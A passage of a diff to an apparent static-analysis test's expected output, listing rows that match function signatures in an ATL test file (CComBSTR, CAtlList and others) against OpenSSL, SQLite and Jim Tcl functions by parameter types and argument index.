unsigned char *,size_t,size_t) | | ossl_rand_pool_attach | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (curve448_scalar_t,const unsigned char *,size_t) | | ossl_curve448_scalar_decode_long | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (int *,int *,size_t) | | EVP_PBE_get | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (size_t,OSSL_QTX_IOVEC *,size_t) | | ossl_quic_sstream_adjust_iov | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (stack_st_SCT **,const unsigned char **,size_t) | | o2i_SCT_LIST | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (unsigned char *,const unsigned char *,size_t) | | BUF_reverse | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (unsigned char *,size_t *,size_t) | | ossl_cipher_padblock | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (unsigned char *,size_t *,size_t) | | ossl_cipher_unpadblock | 2 | +| atl.cpp:206:10:206:17 | InsertAt | (void *,unsigned char *,size_t) | | ossl_drbg_clear_seed | 2 | +| atl.cpp:213:8:213:17 | operator[] | (size_t) | | EVP_PKEY_meth_get0 | 0 | +| atl.cpp:213:8:213:17 | operator[] | (size_t) | | ossl_get_extension_type | 0 | +| atl.cpp:213:8:213:17 | operator[] | (size_t) | | ossl_param_bytes_to_blocks | 0 | +| atl.cpp:213:8:213:17 | operator[] | (size_t) | | ossl_quic_sstream_new | 0 | +| atl.cpp:213:8:213:17 | operator[] | (size_t) | | ssl_cert_new | 0 | | atl.cpp:259:5:259:12 | CAtlList | (UINT) | CComBSTR | LoadString | 0 | | atl.cpp:259:5:259:12 | CAtlList | (UINT) | CComBSTR | LoadString | 0 | | atl.cpp:259:5:259:12 | CAtlList | (UINT) | _U_STRINGorID | _U_STRINGorID | 0 | | atl.cpp:259:5:259:12 | CAtlList | (UINT) | _U_STRINGorID | _U_STRINGorID | 0 | +| atl.cpp:259:5:259:12 | CAtlList | (unsigned int) | | Jim_IntHashFunction | 0 | +| atl.cpp:259:5:259:12 | CAtlList | (unsigned int) | | Jim_IntHashFunction | 0 | +| atl.cpp:259:5:259:12 | CAtlList | (unsigned int) | | ssl3_get_cipher | 0 | +| atl.cpp:259:5:259:12 | CAtlList | (unsigned int) | | ssl3_get_cipher | 0 | +| atl.cpp:268:14:268:22 | FindIndex | (size_t) | | EVP_PKEY_meth_get0 | 0 | +| atl.cpp:268:14:268:22 | FindIndex | (size_t) | | EVP_PKEY_meth_get0 | 0 | +| atl.cpp:268:14:268:22 | FindIndex | (size_t) | | ossl_get_extension_type | 0 | +| atl.cpp:268:14:268:22 | FindIndex | (size_t) | | ossl_get_extension_type | 0 | +| atl.cpp:268:14:268:22 | FindIndex | (size_t) | | ossl_param_bytes_to_blocks | 0 | +| atl.cpp:268:14:268:22 | FindIndex | (size_t) | | ossl_param_bytes_to_blocks | 0 | +| atl.cpp:268:14:268:22 | FindIndex | (size_t) | | ossl_quic_sstream_new | 0 | +| atl.cpp:268:14:268:22 | FindIndex | (size_t) | | ossl_quic_sstream_new | 0 | +| atl.cpp:268:14:268:22 | FindIndex | (size_t) | | ssl_cert_new | 0 | +| atl.cpp:268:14:268:22 | FindIndex | (size_t) | | ssl_cert_new | 0 | | atl.cpp:409:10:409:10 | operator= | (const CComBSTR &) | CComBSTR | Append | 0 | | atl.cpp:409:10:409:10 | operator= | (const CComBSTR &) | CComBSTR | CComBSTR | 0 | | atl.cpp:411:5:411:12 | CComBSTR | (const CComBSTR &) | CComBSTR | Append | 0 | | atl.cpp:411:5:411:12 | CComBSTR | (const CComBSTR &) | CComBSTR | CComBSTR | 0 | +| atl.cpp:412:5:412:12 | CComBSTR | (int) | | ASN1_STRING_type_new | 0 | +| atl.cpp:412:5:412:12 | CComBSTR | (int) | | ASN1_tag2bit | 0 | +| atl.cpp:412:5:412:12 | CComBSTR | (int) | | ASN1_tag2str | 0 | +| atl.cpp:412:5:412:12 | CComBSTR | (int) | | EVP_PKEY_asn1_get0 | 0 | +| atl.cpp:412:5:412:12 | CComBSTR | (int) | | Jim_ReturnCode | 0 | +| atl.cpp:412:5:412:12 | CComBSTR | (int) | | Jim_SignalId | 0 | +| atl.cpp:412:5:412:12 | CComBSTR | (int) | | OBJ_nid2ln | 0 | +| atl.cpp:412:5:412:12 | CComBSTR | (int) | | OBJ_nid2obj | 0 | +| atl.cpp:412:5:412:12 | CComBSTR | (int) | | OBJ_nid2sn | 0 | +| atl.cpp:412:5:412:12 | CComBSTR | (int) | | OSSL_STORE_INFO_type_string | 0 | +| atl.cpp:412:5:412:12 | CComBSTR | (int) | | OSSL_trace_get_category_name | 0 | +| atl.cpp:412:5:412:12 | CComBSTR | (int) | | PKCS12_init | 0 | +| atl.cpp:412:5:412:12 | CComBSTR | (int) | | Symbol_Nth | 0 | +| atl.cpp:412:5:412:12 | CComBSTR | (int) | | X509_PURPOSE_get0 | 0 | +| atl.cpp:412:5:412:12 | CComBSTR | (int) | | X509_PURPOSE_get_by_id | 0 | +| atl.cpp:412:5:412:12 | CComBSTR | (int) | | X509_TRUST_get0 | 0 | +| atl.cpp:412:5:412:12 | CComBSTR | (int) | | X509_TRUST_get_by_id | 0 | +| atl.cpp:412:5:412:12 | CComBSTR | (int) | | X509_VERIFY_PARAM_get0 | 0 | +| atl.cpp:412:5:412:12 | CComBSTR | (int) | | evp_pkey_type2name | 0 | +| atl.cpp:412:5:412:12 | CComBSTR | (int) | | ossl_cmp_bodytype_to_string | 0 | +| atl.cpp:412:5:412:12 | CComBSTR | (int) | | ossl_tolower | 0 | +| atl.cpp:412:5:412:12 | CComBSTR | (int) | | ossl_toupper | 0 | +| atl.cpp:412:5:412:12 | CComBSTR | (int) | | sqlite3_compileoption_get | 0 | +| atl.cpp:412:5:412:12 | CComBSTR | (int) | | sqlite3_errstr | 0 | +| atl.cpp:412:5:412:12 | CComBSTR | (int) | | tls13_alert_code | 0 | | atl.cpp:413:5:413:12 | CComBSTR | (int,LPCOLESTR) | CComBSTR | CComBSTR | 0 | | atl.cpp:413:5:413:12 | CComBSTR | (int,LPCOLESTR) | CComBSTR | CComBSTR | 1 | +| atl.cpp:414:5:414:12 | CComBSTR | (ASN1_GENERALIZEDTIME *,const char *) | | ASN1_GENERALIZEDTIME_set_string | 1 | +| atl.cpp:414:5:414:12 | CComBSTR | (ASN1_TIME *,const char *) | | ASN1_TIME_set_string | 1 | +| atl.cpp:414:5:414:12 | CComBSTR | (ASN1_TIME *,const char *) | | ASN1_TIME_set_string_X509 | 1 | +| atl.cpp:414:5:414:12 | CComBSTR | (ASN1_UTCTIME *,const char *) | | ASN1_UTCTIME_set_string | 1 | +| atl.cpp:414:5:414:12 | CComBSTR | (BIGNUM **,const char *) | | BN_asc2bn | 1 | +| atl.cpp:414:5:414:12 | CComBSTR | (BIGNUM **,const char *) | | BN_dec2bn | 1 | +| atl.cpp:414:5:414:12 | CComBSTR | (BIGNUM **,const char *) | | BN_hex2bn | 1 | +| atl.cpp:414:5:414:12 | CComBSTR | (CONF *,const char *) | | TS_CONF_get_tsa_section | 1 | +| atl.cpp:414:5:414:12 | CComBSTR | (CONF *,const char *) | | _CONF_new_section | 1 | +| atl.cpp:414:5:414:12 | CComBSTR | (DH_METHOD *,const char *) | | DH_meth_set1_name | 1 | +| atl.cpp:414:5:414:12 | CComBSTR | (DSA_METHOD *,const char *) | | DSA_meth_set1_name | 1 | +| atl.cpp:414:5:414:12 | CComBSTR | (DSO *,const char *) | | DSO_convert_filename | 1 | +| atl.cpp:414:5:414:12 | CComBSTR | (DSO *,const char *) | | DSO_set_filename | 1 | +| atl.cpp:414:5:414:12 | CComBSTR | (ENGINE *,const char *) | | ENGINE_set_id | 1 | +| atl.cpp:414:5:414:12 | CComBSTR | (ENGINE *,const char *) | | ENGINE_set_name | 1 | +| atl.cpp:414:5:414:12 | CComBSTR | (ENGINE *,const char *) | | OSSL_STORE_LOADER_new | 1 | +| atl.cpp:414:5:414:12 | CComBSTR | (EVP_PKEY *,const char *) | | CTLOG_new | 1 | +| atl.cpp:414:5:414:12 | CComBSTR | (EVP_PKEY_CTX *,const char *) | | app_paramgen | 1 | +| atl.cpp:414:5:414:12 | CComBSTR | (EVP_PKEY_CTX *,const char *) | | pkey_ctrl_string | 1 | +| atl.cpp:414:5:414:12 | CComBSTR | (Jim_Interp *,const char *) | | Jim_Eval | 1 | +| atl.cpp:414:5:414:12 | CComBSTR | (Jim_Interp *,const char *) | | Jim_EvalFile | 1 | +| atl.cpp:414:5:414:12 | CComBSTR | (Jim_Interp *,const char *) | | Jim_EvalFileGlobal | 1 | +| atl.cpp:414:5:414:12 | CComBSTR | (Jim_Interp *,const char *) | | Jim_EvalGlobal | 1 | +| atl.cpp:414:5:414:12 | CComBSTR | (OPENSSL_DIR_CTX **,const char *) | | OPENSSL_DIR_read | 1 | +| atl.cpp:414:5:414:12 | CComBSTR | (OPENSSL_INIT_SETTINGS *,const char *) | | OPENSSL_INIT_set_config_appname | 1 | +| atl.cpp:414:5:414:12 | CComBSTR | (OPENSSL_INIT_SETTINGS *,const char *) | | OPENSSL_INIT_set_config_filename | 1 | +| atl.cpp:414:5:414:12 | CComBSTR | (OSSL_CMP_CTX *,const char *) | | OSSL_CMP_CTX_set1_no_proxy | 1 | +| atl.cpp:414:5:414:12 | CComBSTR | (OSSL_CMP_CTX *,const char *) | | OSSL_CMP_CTX_set1_proxy | 1 | +| atl.cpp:414:5:414:12 | CComBSTR | (OSSL_CMP_CTX *,const char *) | | OSSL_CMP_CTX_set1_server | 1 | +| atl.cpp:414:5:414:12 | CComBSTR | (OSSL_CMP_CTX *,const char *) | | OSSL_CMP_CTX_set1_serverPath | 1 | +| atl.cpp:414:5:414:12 | CComBSTR | (OSSL_DECODER_CTX *,const char *) | | OSSL_DECODER_CTX_set_input_structure | 1 | +| atl.cpp:414:5:414:12 | CComBSTR | (OSSL_DECODER_CTX *,const char *) | | OSSL_DECODER_CTX_set_input_type | 1 | +| atl.cpp:414:5:414:12 | CComBSTR | (OSSL_ENCODER_CTX *,const char *) | | OSSL_ENCODER_CTX_set_output_structure | 1 | +| atl.cpp:414:5:414:12 | CComBSTR | (OSSL_ENCODER_CTX *,const char *) | | OSSL_ENCODER_CTX_set_output_type | 1 | +| atl.cpp:414:5:414:12 | CComBSTR | (OSSL_JSON_ENC *,const char *) | | ossl_json_key | 1 | +| atl.cpp:414:5:414:12 | CComBSTR | (OSSL_JSON_ENC *,const char *) | | ossl_json_str | 1 | +| atl.cpp:414:5:414:12 | CComBSTR | (OSSL_LIB_CTX *,const char *) | | CMS_ContentInfo_new_ex | 1 | +| atl.cpp:414:5:414:12 | CComBSTR | (OSSL_LIB_CTX *,const char *) | | CTLOG_STORE_new_ex | 1 | +| atl.cpp:414:5:414:12 | CComBSTR | (OSSL_LIB_CTX *,const char *) | | CT_POLICY_EVAL_CTX_new_ex | 1 | +| atl.cpp:414:5:414:12 | CComBSTR | (OSSL_LIB_CTX *,const char *) | | EC_KEY_new_ex | 1 | +| atl.cpp:414:5:414:12 | CComBSTR | (OSSL_LIB_CTX *,const char *) | | OSSL_CMP_CTX_new | 1 | +| atl.cpp:414:5:414:12 | CComBSTR | (OSSL_LIB_CTX *,const char *) | | OSSL_CMP_MSG_new | 1 | +| atl.cpp:414:5:414:12 | CComBSTR | (OSSL_LIB_CTX *,const char *) | | OSSL_CMP_SRV_CTX_new | 1 | +| atl.cpp:414:5:414:12 | CComBSTR | (OSSL_LIB_CTX *,const char *) | | OSSL_PROVIDER_load | 1 | +| atl.cpp:414:5:414:12 | CComBSTR | (OSSL_LIB_CTX *,const char *) | | PKCS7_new_ex | 1 | +| atl.cpp:414:5:414:12 | CComBSTR | (OSSL_LIB_CTX *,const char *) | | SCT_CTX_new | 1 | +| atl.cpp:414:5:414:12 | CComBSTR | (OSSL_LIB_CTX *,const char *) | | TS_RESP_CTX_new_ex | 1 | +| atl.cpp:414:5:414:12 | CComBSTR | (OSSL_LIB_CTX *,const char *) | | X509_CRL_new_ex | 1 | +| atl.cpp:414:5:414:12 | CComBSTR | (OSSL_LIB_CTX *,const char *) | | X509_PUBKEY_new_ex | 1 | +| atl.cpp:414:5:414:12 | CComBSTR | (OSSL_LIB_CTX *,const char *) | | X509_REQ_new_ex | 1 | +| atl.cpp:414:5:414:12 | CComBSTR | (OSSL_LIB_CTX *,const char *) | | X509_STORE_CTX_new_ex | 1 | +| atl.cpp:414:5:414:12 | CComBSTR | (OSSL_LIB_CTX *,const char *) | | X509_new_ex | 1 | +| atl.cpp:414:5:414:12 | CComBSTR | (OSSL_LIB_CTX *,const char *) | | ossl_cmp_mock_srv_new | 1 | +| atl.cpp:414:5:414:12 | CComBSTR | (OSSL_LIB_CTX *,const char *) | | ossl_cms_Data_create | 1 | +| atl.cpp:414:5:414:12 | CComBSTR | (OSSL_LIB_CTX *,const char *) | | ossl_parse_property | 1 | +| atl.cpp:414:5:414:12 | CComBSTR | (OSSL_PARAM *,const char *) | | OSSL_PARAM_locate | 1 | +| atl.cpp:414:5:414:12 | CComBSTR | (OSSL_PARAM *,const char *) | | OSSL_PARAM_set_utf8_ptr | 1 | +| atl.cpp:414:5:414:12 | CComBSTR | (OSSL_PARAM *,const char *) | | OSSL_PARAM_set_utf8_string | 1 | +| atl.cpp:414:5:414:12 | CComBSTR | (OSSL_PROVIDER *,const char *) | | ossl_provider_set_module_path | 1 | +| atl.cpp:414:5:414:12 | CComBSTR | (PKCS7 *,const char *) | | ossl_pkcs7_set1_propq | 1 | +| atl.cpp:414:5:414:12 | CComBSTR | (RSA_METHOD *,const char *) | | RSA_meth_set1_name | 1 | +| atl.cpp:414:5:414:12 | CComBSTR | (SSL *,const char *) | | SSL_add1_host | 1 | +| atl.cpp:414:5:414:12 | CComBSTR | (SSL *,const char *) | | SSL_set1_host | 1 | +| atl.cpp:414:5:414:12 | CComBSTR | (SSL *,const char *) | | SSL_set_cipher_list | 1 | +| atl.cpp:414:5:414:12 | CComBSTR | (SSL *,const char *) | | SSL_use_psk_identity_hint | 1 | +| atl.cpp:414:5:414:12 | CComBSTR | (SSL_CONF_CTX *,const char *) | | SSL_CONF_CTX_set1_prefix | 1 | +| atl.cpp:414:5:414:12 | CComBSTR | (SSL_CONF_CTX *,const char *) | | SSL_CONF_cmd_value_type | 1 | +| atl.cpp:414:5:414:12 | CComBSTR | (SSL_CTX *,const char *) | | SSL_CTX_set_cipher_list | 1 | +| atl.cpp:414:5:414:12 | CComBSTR | (SSL_CTX *,const char *) | | SSL_CTX_use_psk_identity_hint | 1 | +| atl.cpp:414:5:414:12 | CComBSTR | (SSL_CTX *,const char *) | | ossl_quic_set_diag_title | 1 | +| atl.cpp:414:5:414:12 | CComBSTR | (SSL_SESSION *,const char *) | | SSL_SESSION_set1_hostname | 1 | +| atl.cpp:414:5:414:12 | CComBSTR | (UI *,const char *) | | UI_add_error_string | 1 | +| atl.cpp:414:5:414:12 | CComBSTR | (UI *,const char *) | | UI_add_info_string | 1 | +| atl.cpp:414:5:414:12 | CComBSTR | (UI *,const char *) | | UI_dup_error_string | 1 | +| atl.cpp:414:5:414:12 | CComBSTR | (UI *,const char *) | | UI_dup_info_string | 1 | +| atl.cpp:414:5:414:12 | CComBSTR | (X509 *,const char *) | | x509_ctrl_string | 1 | +| atl.cpp:414:5:414:12 | CComBSTR | (X509_REQ *,const char *) | | x509_req_ctrl_string | 1 | +| atl.cpp:414:5:414:12 | CComBSTR | (X509_VERIFY_PARAM *,const char *) | | X509_VERIFY_PARAM_set1_ip_asc | 1 | +| atl.cpp:414:5:414:12 | CComBSTR | (X509_VERIFY_PARAM *,const char *) | | X509_VERIFY_PARAM_set1_name | 1 | +| atl.cpp:414:5:414:12 | CComBSTR | (const OSSL_PARAM *,const char *) | | OSSL_PARAM_locate_const | 1 | +| atl.cpp:414:5:414:12 | CComBSTR | (const char *,const char *) | | Configcmp | 1 | +| atl.cpp:414:5:414:12 | CComBSTR | (const char *,const char *) | | DES_crypt | 1 | +| atl.cpp:414:5:414:12 | CComBSTR | (const char *,const char *) | | OPENSSL_strcasecmp | 1 | +| atl.cpp:414:5:414:12 | CComBSTR | (const char *,const char *) | | get_passwd | 1 | +| atl.cpp:414:5:414:12 | CComBSTR | (const char *,const char *) | | openssl_fopen | 1 | +| atl.cpp:414:5:414:12 | CComBSTR | (const char *,const char *) | | ossl_pem_check_suffix | 1 | +| atl.cpp:414:5:414:12 | CComBSTR | (const char *,const char *) | | ossl_v3_name_cmp | 1 | +| atl.cpp:414:5:414:12 | CComBSTR | (const char *,const char *) | | sqlite3_strglob | 1 | +| atl.cpp:414:5:414:12 | CComBSTR | (const char *,const char *) | | sqlite3_stricmp | 1 | | atl.cpp:414:5:414:12 | CComBSTR | (int,LPCSTR) | CComBSTR | CComBSTR | 0 | | atl.cpp:414:5:414:12 | CComBSTR | (int,LPCSTR) | CComBSTR | CComBSTR | 1 | +| atl.cpp:414:5:414:12 | CComBSTR | (int,const char *) | | BIO_meth_new | 0 | +| atl.cpp:414:5:414:12 | CComBSTR | (int,const char *) | | BIO_meth_new | 1 | +| atl.cpp:414:5:414:12 | CComBSTR | (lemon *,const char *) | | file_makename | 1 | +| atl.cpp:414:5:414:12 | CComBSTR | (size_t *,const char *) | | next_protos_parse | 1 | +| atl.cpp:414:5:414:12 | CComBSTR | (sqlite3 *,const char *) | | sqlite3_declare_vtab | 1 | +| atl.cpp:414:5:414:12 | CComBSTR | (sqlite3 *,const char *) | | sqlite3_get_clientdata | 1 | +| atl.cpp:414:5:414:12 | CComBSTR | (sqlite3 *,const char *) | | sqlite3_wal_checkpoint | 1 | +| atl.cpp:414:5:414:12 | CComBSTR | (sqlite3_intck *,const char *) | | sqlite3_intck_test_sql | 1 | +| atl.cpp:414:5:414:12 | CComBSTR | (sqlite3_stmt *,const char *) | | sqlite3_bind_parameter_index | 1 | +| atl.cpp:414:5:414:12 | CComBSTR | (sqlite3_str *,const char *) | | sqlite3_str_appendall | 1 | +| atl.cpp:414:5:414:12 | CComBSTR | (sqlite3_value *,const char *) | | sqlite3_value_pointer | 1 | +| atl.cpp:414:5:414:12 | CComBSTR | (unsigned char *,const char *) | | ossl_a2i_ipadd | 1 | +| atl.cpp:414:5:414:12 | CComBSTR | (unsigned long *,const char *) | | set_cert_ex | 1 | +| atl.cpp:414:5:414:12 | CComBSTR | (unsigned long *,const char *) | | set_name_ex | 1 | | atl.cpp:415:5:415:12 | CComBSTR | (LPCOLESTR) | CComBSTR | Append | 0 | | atl.cpp:415:5:415:12 | CComBSTR | (LPCOLESTR) | CComBSTR | CComBSTR | 0 | | atl.cpp:416:5:416:12 | CComBSTR | (LPCSTR) | CComBSTR | Append | 0 | | atl.cpp:416:5:416:12 | CComBSTR | (LPCSTR) | CComBSTR | CComBSTR | 0 | +| atl.cpp:416:5:416:12 | CComBSTR | (const char *) | | BIO_gethostbyname | 0 | +| atl.cpp:416:5:416:12 | CComBSTR | (const char *) | | Jim_StrDup | 0 | +| atl.cpp:416:5:416:12 | CComBSTR | (const char *) | | OPENSSL_LH_strhash | 0 | +| atl.cpp:416:5:416:12 | CComBSTR | (const char *) | | OSSL_STORE_SEARCH_by_alias | 0 | +| atl.cpp:416:5:416:12 | CComBSTR | (const char *) | | Strsafe | 0 | +| atl.cpp:416:5:416:12 | CComBSTR | (const char *) | | Symbol_new | 0 | +| atl.cpp:416:5:416:12 | CComBSTR | (const char *) | | UI_create_method | 0 | +| atl.cpp:416:5:416:12 | CComBSTR | (const char *) | | X509V3_parse_list | 0 | +| atl.cpp:416:5:416:12 | CComBSTR | (const char *) | | X509_LOOKUP_meth_new | 0 | +| atl.cpp:416:5:416:12 | CComBSTR | (const char *) | | a2i_IPADDRESS | 0 | +| atl.cpp:416:5:416:12 | CComBSTR | (const char *) | | a2i_IPADDRESS_NC | 0 | +| atl.cpp:416:5:416:12 | CComBSTR | (const char *) | | opt_path_end | 0 | +| atl.cpp:416:5:416:12 | CComBSTR | (const char *) | | opt_progname | 0 | +| atl.cpp:416:5:416:12 | CComBSTR | (const char *) | | ossl_lh_strcasehash | 0 | +| atl.cpp:416:5:416:12 | CComBSTR | (const char *) | | strhash | 0 | | atl.cpp:417:5:417:12 | CComBSTR | (CComBSTR &&) | CComBSTR | CComBSTR | 0 | | atl.cpp:420:13:420:18 | Append | (const CComBSTR &) | CComBSTR | Append | 0 | | atl.cpp:420:13:420:18 | Append | (const CComBSTR &) | CComBSTR | CComBSTR | 0 | @@ -31,26 +418,633 @@ signatureMatches | atl.cpp:423:13:423:18 | Append | (LPCOLESTR) | CComBSTR | CComBSTR | 0 | | atl.cpp:424:13:424:18 | Append | (LPCSTR) | CComBSTR | Append | 0 | | atl.cpp:424:13:424:18 | Append | (LPCSTR) | CComBSTR | CComBSTR | 0 | +| atl.cpp:424:13:424:18 | Append | (const char *) | | BIO_gethostbyname | 0 | +| atl.cpp:424:13:424:18 | Append | (const char *) | | Jim_StrDup | 0 | +| atl.cpp:424:13:424:18 | Append | (const char *) | | OPENSSL_LH_strhash | 0 | +| atl.cpp:424:13:424:18 | Append | (const char *) | | OSSL_STORE_SEARCH_by_alias | 0 | +| atl.cpp:424:13:424:18 | Append | (const char *) | | Strsafe | 0 | +| atl.cpp:424:13:424:18 | Append | (const char *) | | Symbol_new | 0 | +| atl.cpp:424:13:424:18 | Append | (const char *) | | UI_create_method | 0 | +| atl.cpp:424:13:424:18 | Append | (const char *) | | X509V3_parse_list | 0 | +| atl.cpp:424:13:424:18 | Append | (const char *) | | X509_LOOKUP_meth_new | 0 | +| atl.cpp:424:13:424:18 | Append | (const char *) | | a2i_IPADDRESS | 0 | +| atl.cpp:424:13:424:18 | Append | (const char *) | | a2i_IPADDRESS_NC | 0 | +| atl.cpp:424:13:424:18 | Append | (const char *) | | opt_path_end | 0 | +| atl.cpp:424:13:424:18 | Append | (const char *) | | opt_progname | 0 | +| atl.cpp:424:13:424:18 | Append | (const char *) | | ossl_lh_strcasehash | 0 | +| atl.cpp:424:13:424:18 | Append | (const char *) | | strhash | 0 | +| atl.cpp:425:13:425:18 | Append | (ASN1_STRING *,int) | | ASN1_STRING_length_set | 1 | +| atl.cpp:425:13:425:18 | Append | (ASYNC_WAIT_CTX *,int) | | ASYNC_WAIT_CTX_set_status | 1 | +| atl.cpp:425:13:425:18 | Append | (BIGNUM *,int) | | BN_clear_bit | 1 | +| atl.cpp:425:13:425:18 | Append | (BIGNUM *,int) | | BN_mask_bits | 1 | +| atl.cpp:425:13:425:18 | Append | (BIGNUM *,int) | | BN_set_bit | 1 | +| atl.cpp:425:13:425:18 | Append | (BIGNUM *,int) | | BN_set_flags | 1 | +| atl.cpp:425:13:425:18 | Append | (BIGNUM *,int) | | bn_expand2 | 1 | +| atl.cpp:425:13:425:18 | Append | (BIGNUM *,int) | | bn_wexpand | 1 | +| atl.cpp:425:13:425:18 | Append | (BIGNUM *,int) | | ossl_bn_mask_bits_fixed_top | 1 | +| atl.cpp:425:13:425:18 | Append | (BIO *,int) | | BIO_clear_flags | 1 | +| atl.cpp:425:13:425:18 | Append | (BIO *,int) | | BIO_find_type | 1 | +| atl.cpp:425:13:425:18 | Append | (BIO *,int) | | BIO_set_flags | 1 | +| atl.cpp:425:13:425:18 | Append | (BIO *,int) | | BIO_set_init | 1 | +| atl.cpp:425:13:425:18 | Append | (BIO *,int) | | BIO_set_retry_reason | 1 | +| atl.cpp:425:13:425:18 | Append | (BIO *,int) | | BIO_set_shutdown | 1 | +| atl.cpp:425:13:425:18 | Append | (BIO *,int) | | TXT_DB_read | 1 | +| atl.cpp:425:13:425:18 | Append | (CMS_SignerInfo *,int) | | CMS_signed_delete_attr | 1 | +| atl.cpp:425:13:425:18 | Append | (CMS_SignerInfo *,int) | | CMS_unsigned_delete_attr | 1 | +| atl.cpp:425:13:425:18 | Append | (DH *,int) | | DH_clear_flags | 1 | +| atl.cpp:425:13:425:18 | Append | (DH *,int) | | DH_set_flags | 1 | +| atl.cpp:425:13:425:18 | Append | (DH_METHOD *,int) | | DH_meth_set_flags | 1 | +| atl.cpp:425:13:425:18 | Append | (DSA *,int) | | DSA_clear_flags | 1 | +| atl.cpp:425:13:425:18 | Append | (DSA *,int) | | DSA_set_flags | 1 | +| atl.cpp:425:13:425:18 | Append | (DSA_METHOD *,int) | | DSA_meth_set_flags | 1 | +| atl.cpp:425:13:425:18 | Append | (EC_GROUP *,int) | | EC_GROUP_set_asn1_flag | 1 | +| atl.cpp:425:13:425:18 | Append | (EC_GROUP *,int) | | EC_GROUP_set_curve_name | 1 | +| atl.cpp:425:13:425:18 | Append | (EC_KEY *,int) | | EC_KEY_clear_flags | 1 | +| atl.cpp:425:13:425:18 | Append | (EC_KEY *,int) | | EC_KEY_set_asn1_flag | 1 | +| atl.cpp:425:13:425:18 | Append | (EC_KEY *,int) | | EC_KEY_set_flags | 1 | +| atl.cpp:425:13:425:18 | Append | (ENGINE *,int) | | ENGINE_cmd_is_executable | 1 | +| atl.cpp:425:13:425:18 | Append | (ENGINE *,int) | | ENGINE_set_flags | 1 | +| atl.cpp:425:13:425:18 | Append | (EVP_CIPHER *,int) | | EVP_CIPHER_meth_set_impl_ctx_size | 1 | +| atl.cpp:425:13:425:18 | Append | (EVP_CIPHER *,int) | | EVP_CIPHER_meth_set_iv_length | 1 | +| atl.cpp:425:13:425:18 | Append | (EVP_CIPHER_CTX *,int) | | EVP_CIPHER_CTX_clear_flags | 1 | +| atl.cpp:425:13:425:18 | Append | (EVP_CIPHER_CTX *,int) | | EVP_CIPHER_CTX_set_flags | 1 | +| atl.cpp:425:13:425:18 | Append | (EVP_CIPHER_CTX *,int) | | EVP_CIPHER_CTX_set_key_length | 1 | +| atl.cpp:425:13:425:18 | Append | (EVP_CIPHER_CTX *,int) | | EVP_CIPHER_CTX_set_num | 1 | +| atl.cpp:425:13:425:18 | Append | (EVP_KEYMGMT *,int) | | evp_keymgmt_util_query_operation_name | 1 | +| atl.cpp:425:13:425:18 | Append | (EVP_MD *,int) | | EVP_MD_meth_set_app_datasize | 1 | +| atl.cpp:425:13:425:18 | Append | (EVP_MD *,int) | | EVP_MD_meth_set_input_blocksize | 1 | +| atl.cpp:425:13:425:18 | Append | (EVP_MD *,int) | | EVP_MD_meth_set_result_size | 1 | +| atl.cpp:425:13:425:18 | Append | (EVP_MD_CTX *,int) | | EVP_MD_CTX_clear_flags | 1 | +| atl.cpp:425:13:425:18 | Append | (EVP_MD_CTX *,int) | | EVP_MD_CTX_set_flags | 1 | +| atl.cpp:425:13:425:18 | Append | (EVP_PKEY *,int) | | EVP_PKEY_delete_attr | 1 | +| atl.cpp:425:13:425:18 | Append | (EVP_PKEY *,int) | | EVP_PKEY_save_parameters | 1 | +| atl.cpp:425:13:425:18 | Append | (EVP_PKEY *,int) | | EVP_PKEY_set_type | 1 | +| atl.cpp:425:13:425:18 | Append | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_get_keygen_info | 1 | +| atl.cpp:425:13:425:18 | Append | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_dh_kdf_type | 1 | +| atl.cpp:425:13:425:18 | Append | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_dh_nid | 1 | +| atl.cpp:425:13:425:18 | Append | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_dh_paramgen_type | 1 | +| atl.cpp:425:13:425:18 | Append | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_dh_rfc5114 | 1 | +| atl.cpp:425:13:425:18 | Append | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_dhx_rfc5114 | 1 | +| atl.cpp:425:13:425:18 | Append | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_ec_param_enc | 1 | +| atl.cpp:425:13:425:18 | Append | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_ec_paramgen_curve_nid | 1 | +| atl.cpp:425:13:425:18 | Append | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_ecdh_kdf_type | 1 | +| atl.cpp:425:13:425:18 | Append | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_hkdf_mode | 1 | +| atl.cpp:425:13:425:18 | Append | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_rsa_padding | 1 | +| atl.cpp:425:13:425:18 | Append | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_rsa_pss_saltlen | 1 | +| atl.cpp:425:13:425:18 | Append | (FFC_PARAMS *,int) | | ossl_ffc_params_set_gindex | 1 | +| atl.cpp:425:13:425:18 | Append | (FFC_PARAMS *,int) | | ossl_ffc_params_set_h | 1 | +| atl.cpp:425:13:425:18 | Append | (FFC_PARAMS *,int) | | ossl_ffc_params_set_pcounter | 1 | | atl.cpp:425:13:425:18 | Append | (LPCOLESTR,int) | CComBSTR | Append | 0 | | atl.cpp:425:13:425:18 | Append | (LPCOLESTR,int) | CComBSTR | Append | 1 | +| atl.cpp:425:13:425:18 | Append | (OCSP_BASICRESP *,int) | | OCSP_BASICRESP_delete_ext | 1 | +| atl.cpp:425:13:425:18 | Append | (OCSP_BASICRESP *,int) | | OCSP_BASICRESP_get_ext | 1 | +| atl.cpp:425:13:425:18 | Append | (OCSP_BASICRESP *,int) | | OCSP_resp_get0 | 1 | +| atl.cpp:425:13:425:18 | Append | (OCSP_ONEREQ *,int) | | OCSP_ONEREQ_delete_ext | 1 | +| atl.cpp:425:13:425:18 | Append | (OCSP_ONEREQ *,int) | | OCSP_ONEREQ_get_ext | 1 | +| atl.cpp:425:13:425:18 | Append | (OCSP_REQUEST *,int) | | OCSP_REQUEST_delete_ext | 1 | +| atl.cpp:425:13:425:18 | 